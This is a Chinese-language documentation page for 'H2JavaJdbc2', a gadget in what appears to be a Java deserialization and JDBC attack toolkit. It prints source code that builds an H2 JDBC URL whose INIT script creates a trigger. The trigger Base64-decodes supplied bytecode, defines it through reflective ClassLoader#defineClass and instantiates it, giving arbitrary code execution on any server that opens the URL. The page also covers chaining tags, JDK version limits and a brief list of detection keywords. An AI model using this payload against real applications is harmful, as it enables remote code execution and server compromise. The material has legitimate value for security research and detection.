Skip to content

Latest commit

 

History

History
57 lines (43 loc) · 3 KB

File metadata and controls

57 lines (43 loc) · 3 KB

H2 JDBC URL Java加载任意字节码2(H2JavaJdbc2)

  • 类别common 别名:— 优先级:30
  • 作者:Unam4、Springkill
  • 依赖com.h2database:h2:org.h2.Driver
  • 实现Gadget

作用

使用 H2 CREATE TRIGGER 路径加载内层字节码。

链接标签

  • 入口 tagsH2JdbcUrlJdbcUrlChainsEND
  • 衔接 nextTagsBytecodeConvertTag
  • excludes:无

源码剖析

关键构造逻辑如下,摘自本条对应的 CFR 反编译源码:

public String getObject(byte[] bytecode) {
        String b64Bytecode = Base64.encodeBase64String((byte[])bytecode);
        String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER loader BEFORE SELECT ON\nINFORMATION_SCHEMA.TABLES AS $$void loader() throws java.lang.Exception{\nString tomcatStr=\"" + b64Bytecode + "\"\\;\nbyte[] standBytes=new sun.misc.BASE64Decoder().decodeBuffer(tomcatStr)\\;\njava.lang.reflect.Method defineClassMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",standBytes.getClass(),int.class,int.class)\\;\ndefineClassMethod.setAccessible(true)\\;\njava.lang.Class myclass=(java.lang.Class)defineClassMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),standBytes,0,standBytes.length)\\;\nmyclass.newInstance()\\;}\n$$";
        return url;
    }

public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        byte[] bytecode = (byte[])chain.doCreate(context);
        context.put(ContextTag.DRIVER_CLASS_NAME_KEY, this.driverClassName);
        return this.getObject(bytecode);
    }

invoke() 获取内层 byte[] 并设置 H2 driver,上层看到的仍是一个 JDBC URL 字符串。

getObject(byte[]) 生成 jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER ... BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$...$$。Trigger 体内用 sun.misc.BASE64Decoder 解码字节码,再调用 ClassLoader#defineClassnewInstance()

相比 CREATE ALIAS 版本,本构件利用 H2 trigger 编译/执行 Java 片段,适合测试目标对 alias/trigger 支持差异。

参数(@Param)

本类无 @Param,运行时输入来自链上下文或内层 gadget。

适用版本与原理要点

  • 注解描述:适用于jdbc rce场景,通过H2的 TRIGGER 功能,控制javac编译器执行任意Java代码,加载字节码
  • 依赖条件:com.h2database:h2:org.h2.Driver
  • 依赖 H2 driver 与可用的 Java trigger 编译路径;源码使用 sun.misc.BASE64Decoder,因此更偏向 JDK 8 及以前环境。
  • END 标签说明它可以作为链尾构件;如果没有上游包装器触发其返回对象,单独构造不会自动执行。
  • 可衔接下一环:BytecodeConvertTag

防御与检测

关注 H2 URL 中 MODE=MSSQLServerCREATE TRIGGERINFORMATION_SCHEMA.TABLESsun.misc.BASE64Decoder

所属预设链

自由构件,未直接出现在预设链中。

关联

  • 机器可读元数据:index/gadgets.json
  • 完整反编译源码:。